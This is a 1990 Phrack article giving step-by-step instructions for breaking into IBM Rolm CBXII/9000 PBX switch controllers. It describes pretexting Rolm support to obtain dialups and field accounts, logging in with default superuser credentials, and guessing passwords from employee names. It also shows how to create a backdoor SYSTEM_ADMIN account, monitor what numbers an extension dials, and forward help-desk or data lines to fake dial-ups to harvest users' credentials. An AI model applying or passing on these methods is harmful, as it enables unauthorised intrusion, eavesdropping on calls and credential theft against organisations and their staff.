280 lines
16 KiB
Plaintext
280 lines
16 KiB
Plaintext
===Phrack Inc.===
|
|
Volume Three, Issue Thirty-one, Phile #3 of 10
|
|
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
|
|
/ * * \
|
|
\ /
|
|
/ Hacking Rolm's CBXII/9000 \
|
|
\ by DH /
|
|
/ 05/24/90 \
|
|
\ * * /
|
|
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
|
|
|
|
Introduction
|
|
------------
|
|
IBM Rolm's CBXII/9000 is a very powerful machine. Powerful in the aspect
|
|
that one has the switch(s) at his control. Controling switches means you can
|
|
control the entire PBX environment (And it's users).
|
|
This file will not get technical. Basically, I'm writing this file on
|
|
the HOW-TO's of the internal works of CBXII and the basics of obtaining the
|
|
dialups and account information need to access the machines. For further
|
|
information on CBX's in general, read Epsilon's Phrack Phile on them, or
|
|
consult Evil Jay's phile on OSL's.
|
|
|
|
Obtaining Dialups
|
|
--------- -------
|
|
Obtaining dialups unfortunately is the hardest part of hacking CBXII's.
|
|
(Yes, even harder than hacking them). There are several ways to obtain the
|
|
dialups. I would say a good bit of CBX's are at universities and hospitals
|
|
where they own their own switches. Most of the time you can determine if they
|
|
have one by calling the Telecommunications Department of the target location.
|
|
Or, another way is to check with ROLM. If you *KNOW* that a target location
|
|
has a CBXxx machine, you can call ROLM's 800 wats line and say your with the
|
|
Telecommunications Department and your looking for the DIALUP. Rolm has files
|
|
on all their CBXxx's and the Dialups also. They might ask you for a NODE #
|
|
for the dialup, and you should usually respond with what node you want (Since
|
|
different nodes handle different areas of the PBX). Basically, nodes start at
|
|
ONE and usually goto THREE or FOUR, depending on the size of the PBX.
|
|
CBXxx's are greatly compatible of IBM Rolm's Phone-Mail system (Which
|
|
is a highly used and common voice mail system). This of course doesn't mean
|
|
that every PHM (Phone-Mail) system has a CBXxx attached. But it is generally
|
|
a good start.
|
|
The following is a checklist to determine if the target location could
|
|
have a CBXxx for controlling their switch. By no means however, if your target
|
|
location has all of the following it could have a CBXxx.
|
|
1) Does the location handle it's own switch?
|
|
If so, what kind, and who services it.
|
|
2) Does IBM Rolm handle any aspect of their telecommunications
|
|
department?
|
|
If so, this is a possible CBXxx location.
|
|
3) Does the location have Rolm Phone-Mail?
|
|
These three guidelines are not requirements. I.E. -- The location
|
|
could have a non-IBM PBX but still have a CBXxx for handling the switch.
|
|
So who knows.. It's up to you and your bullshitting and scans.
|
|
Hacking the CBXxx's
|
|
------- --- -------
|
|
Well, once you have obtained the dial-ups, you are almost halfway
|
|
there. Hacking the CBX is the easy part. 1st off, IBM Rolm ships *ALL*
|
|
of their machines with a default account (Yes, and they never change it).
|
|
When the destination of the CBX recieves the machine, they use the default
|
|
to create other accounts for employees, PBX operators, and administration.
|
|
Rolm IBM also has a field support account embedded in the machine. These
|
|
are different to each location and correspond to the serial number of the
|
|
machine (Rolm's accounts can be obtained from Rolm's 800 technical support
|
|
line). So, now that we know that there is a default account that telecom
|
|
department uses to setup the other accounts after they recieve the machine,
|
|
tells us that this is a priviledge account. And it is.
|
|
USERNAME: SU
|
|
PASSWORD: SUPER
|
|
How nice for them to give us such power. Yes, it's a basic default
|
|
with SuperUser priviledge. If for some reason the account default has been
|
|
changed, their are other ways of getting in:
|
|
1) Call Rolm and get the Field account information.
|
|
2) Try first names of Telecom Dept. employees, and PBX Operators.
|
|
3) Use every Hacking skills you have (If any).
|
|
Some older versions of CBX don't even require logging in with an
|
|
account. Those versions are less responsive to the administrators needs,
|
|
but can be useful to one also. Don't be discouraged if the SU password is
|
|
changed, just call Rolm and get the field account.
|
|
The following is the matrix before one access the machine. *Note that
|
|
it clearly identifies* *Also: Accessible at 300 baud and e,7,1*
|
|
CONNECT ID banner
|
|
_Release version # /
|
|
/ /\
|
|
Rolm CBXII RELEASE 9004.0.65 RB74UCLA11956
|
|
BIND DATE: 8/SEP/88 \
|
|
YOU HAVE ENTERED NODE 1, CPU 2 \_Name of owner, IE: UCLA
|
|
11:14:30 ON FRIDAY 2/11/1990 (System ID)
|
|
USERNAME: xxx
|
|
PASSWORD: xxx
|
|
INVALID USERNAME-PASSWORD PAIR.
|
|
|
|
Once your in
|
|
---- ---- --
|
|
Once your in, you should have no problems wondering around the
|
|
machine and using the utilities in the machine's operating system. There is
|
|
very specific help functions inside the machine that will guide you through
|
|
with no problems. At the CBX prompt:
|
|
%. HELP ?
|
|
or
|
|
%. ?
|
|
Should produce a valid listing of options and sub-functions. Every
|
|
function can be followed with a '?' to give lists of valid sub-functions under
|
|
that function or how the syntax of that function should be used.
|
|
The following is a listing of commands for CBXII/9000:
|
|
ABORT ACTIVATE ATTR BYE
|
|
CANCEL CARD CDRSM CDT
|
|
CHANGE CHG CLEAR CLR
|
|
CMPCT CMSTS CNCL CNFG
|
|
CONVERT COPY CPEG CTMON
|
|
CTRA CTRTL CXCLR COPY
|
|
CXCLR CXCON CXNET DACK
|
|
DADD DAEVT DANS DBDMP
|
|
DCAT DCF DCOM DDMA
|
|
DDQ DDT DE DEACTIVATE
|
|
DEFINE DELETE DEMOUNT DESUM
|
|
DEX DFACK DFCOM DFEAT
|
|
DFEVT DHTQ DHWS DIAG
|
|
DIQ DISABLE DIWQ DKQ
|
|
DML DMNT DMS DMTST
|
|
DOWN DPATR DPMR DPMS
|
|
DPPRI DPTR DQQ DRCT
|
|
DREGS DSBLE DSQ DSST
|
|
DSTAK DTCB DTDQ DWQ
|
|
DX_TR ENABLE ENB ENBLE
|
|
ETIO EX EXM EXN
|
|
EXP EXPAND FINIT FORMAT
|
|
FREER FSD GTOD HDBST
|
|
HELP INSTALL KPFA LCT
|
|
LIST LOAD LOGOFF LOGON
|
|
LPEG LPKT LSCT LSL
|
|
LST LTCB MNT MONITOR
|
|
MOUNT MTRACE NEXT NSTAT
|
|
PAGE PCNFG PDIO PFA
|
|
PKTS PLIST PLTT PPFA
|
|
PS PSH QAT QITM
|
|
QTEST RCT RECEIVE RENAME
|
|
REPLY RESTART RESTORE REVERSE
|
|
RM RMOFF RPFA RSC
|
|
RSCLK RSTOR RSTRT SAT
|
|
SCAN SEND SET SHOW
|
|
SITM SOCON SOUNC SSAT
|
|
START STATE STATUS STEST
|
|
STOD STOP STRT STS
|
|
TDCD TEST TKSTS TRTL
|
|
TST TX UNLK UNLOCK
|
|
UP VERIFY XDEF XMIT
|
|
XPND
|
|
These commands can be executed from and '% ' prompt. If the command is
|
|
followed by a '?', more information will be supplied about the command.
|
|
Using the ICI
|
|
----- --- ---
|
|
The Interactive Configuration Interface controls immediate changes in
|
|
the switch and PBX environment. The Utility is explained in great detail
|
|
through the actual running of it. You can access the ICI by typing:
|
|
% CNFG
|
|
CBXII/9000
|
|
INTERACTIVE CONFIGURATION INTERFACE
|
|
CPU 2
|
|
15:14:32 ON FRIDAY 5/02/1990
|
|
COMMAND:
|
|
This is the main command prompt. From here you can exercise the '?'
|
|
help list to get valid commands. There are four phases of the ICI utility:
|
|
Modify, Create, List, and Delete. These can be used on Extentions, Trunks,
|
|
Logon accounts, Feature Group sequences, Data_line access, Trunk Groups, ect.
|
|
The following is a sample of using 'list' to list a current extention in the
|
|
PBX:
|
|
_Forward to EXTN 2000
|
|
COMMAND: LIST EXT 4038 / _Outside number
|
|
/ FORWARD ON / to forward to
|
|
FORWARDING BSY RNA DND /
|
|
EXTN TYPE COS TARGET1 TARGET2 I E I E I E RINGDOWN NAME
|
|
---- ---- --- ------- ------- - - - - - - -------- ----------
|
|
DS 4038 EXTN 56 2000 1 1 1 1 1 1 95551212 R.STABELL
|
|
\ \ \ / / \ \
|
|
Extention / -Class of service if R Auto. Forward Owner of
|
|
--Type of line BUSY I No Matter What EXTN.
|
|
(Reg. Extention) N
|
|
G
|
|
Note: The 1's specifies to forward to target#1 & NO ANSWER
|
|
(As 2's would mean forward to #2 target)
|
|
This should detail how to modify a listing like above using the 'MODIFY'
|
|
command in the ICI. Once modified, all transactions are processed immediately.
|
|
Using the 'Delete' command one can delete extentions, trunks, ect.
|
|
So now we have the following commands in ICI: MODIFY, DELETE, LIST, CREATE.
|
|
Each can be used with the following "Nouns" to modify that "Noun":
|
|
BUTTON_120 BUTTON_240 CDR_EXCLUDE CNFG_ERRORS
|
|
CNFG_QUEUE CNFG_STATUS CNFG_USERS COM_GROUP
|
|
COS_FEAT DATA_ACCESS DATA_DEVICE DATA_GROUP
|
|
DATA_LINE DATA_SUBMUX DLI ETS
|
|
EXTEN FAC FAC_TYPE FAMILY
|
|
FEAT_CODE FIRST_DIGIT HD_GROUP LEX
|
|
LOGON_PROFILE MAP MEM_PARTS PARAM
|
|
PICK POWER Q_TYPE ROUTE_LIST
|
|
RP RPD RPI RPS_120S_ON
|
|
RPS_240S_ON SAT_NAME SEARCH_SEQ SECTION
|
|
SECURITY_GROUP SERVICE_LIST SIO_PARTS SLI
|
|
SPEED T1D3 T1D3_GRP TRUNK
|
|
TRUNK_GROUP VPC
|
|
The FAMILY, LOGON_PROFILE, and CNFG_USER all deal with the accounts on
|
|
the system. One can use MODFIY or CREATE to set them up an account with SU
|
|
access. The FAMILY noun is the listing of the groups with different access,
|
|
to different "nouns" available. I.E.: Not everyone can access the CHANGE
|
|
LOGON_PROFILE to create an account.
|
|
To create an account with SU access, type (while in ICI):
|
|
% CREATE LOGON_PROFILE
|
|
ENTER NAME (1-12 CHAR): TEST
|
|
ENTER PASSWORD: TEST
|
|
RETYPE: TEST
|
|
Next it will ask you for a family. For SU access, type "SYSTEM_ADMIN".
|
|
After family, the machine should prompt you for a "verb". Verbs are the actual
|
|
functions or commands, so in this environment you can set the commands a user
|
|
can access. So, for SU, enter "ALL" for every command access.
|
|
To get a valid listing of users online, try this:
|
|
% LIST CNFG_USERS
|
|
NUMBER OF USERS MAX NUMBER OF USERS
|
|
3 5
|
|
PORT USER_NAME START_TIME HOW_LONG
|
|
17 SU 17:47:57 0:28:34
|
|
2 FIELD 18:16:03 0:0:28
|
|
3 MARYB 18:16:03 0:10:03
|
|
|
|
Using the Monitoring Utility
|
|
----- --- ---------- -------
|
|
This command is one of the more powerful commands in the CBXxx system.
|
|
The monitor command should be invoked from within the main function command
|
|
level and not in the ICI level. The monitoring command allows you to actually
|
|
watch or monitor TRUNKS and EXTENTIONS. So, if I were to type:
|
|
% MONITOR EXT 4038
|
|
10:02:43 ON FRIDAY MAY/02/1990
|
|
EXT# STATE DI CODE DIGITS PROCESS STATUS
|
|
---- --------------- -- ---- ------------- ------------ ------
|
|
4038 IDLE STN FWD NUM FWD
|
|
\ \ / / / \
|
|
Extention Not in use Standard \ / Forwarded
|
|
Extention \ /
|
|
Forwarded to
|
|
a number
|
|
This shows the extention to be IDLE and not in use. But, with forwarded
|
|
call processes to a standard number. You would have to use ICI to look up the
|
|
number it's forwarded to if you wanted.
|
|
% MONITOR EXT 4038
|
|
10:03:44 ON FRIDAY MAY/11/1990
|
|
EXT# STATE DI CODE DIGITS PROCESS STATUS
|
|
---- -------------- -- ---- ------------- ----------- ------
|
|
4038 DIAL TONE STN FWD NUM FWD
|
|
4038 DIALING Y 9 / \ \ \
|
|
4038 DIALING Y 92 S F N \Extention
|
|
4038 DIALING Y 923 t o u Forwarded
|
|
4038 DIALING Y 9233 a N r m
|
|
4038 DIALING Y 92334 n u w b
|
|
4038 DIALING Y 923345 d m a e
|
|
4038 DIALING Y 9233456 a b r r
|
|
4038 DIALING Y 92334564 r e d
|
|
4038 CONN T025N N \ d r e
|
|
/ \ / \ d
|
|
\ \ \_Dialing NO \_Number dialed
|
|
\_Extention \
|
|
Connected to
|
|
Outside trunk T025N
|
|
This monitoring shows the extention actually dialing the number, and then
|
|
connecting to an outside truck. Unfortunatley, one we cannot monitor without
|
|
access to a bell switch.
|
|
Monitoring can also be done with trunks. I will not display any trunk
|
|
monitoring since it is quite simple to decypher.
|
|
Manipulating the switch
|
|
------------ --- ------
|
|
There are many ways you can manipulate the CBX's to gain accounting
|
|
information on data lines within the PBX environment. One sure-fire method
|
|
would be to forward an actual data dial-up extention to a bridge or loop and
|
|
then write an emulation to intercept the user's account information real-time
|
|
as they connect to your fake dial-up.
|
|
Or perhaps if an university uses the CBX, one could maybe forward the
|
|
computer help desk extention to a bridge or loop and as an unsuspecting user
|
|
calls up, ask him what machine and account info he has access to for a help
|
|
log sheet you are taking.
|
|
Who cares. Who knows. There are thousands of things you can do to use
|
|
the CBX to your advantage. Hell, you have the whole switch at your command.
|
|
DH - 05/11/90
|
|
|
|
_______________________________________________________________________________
|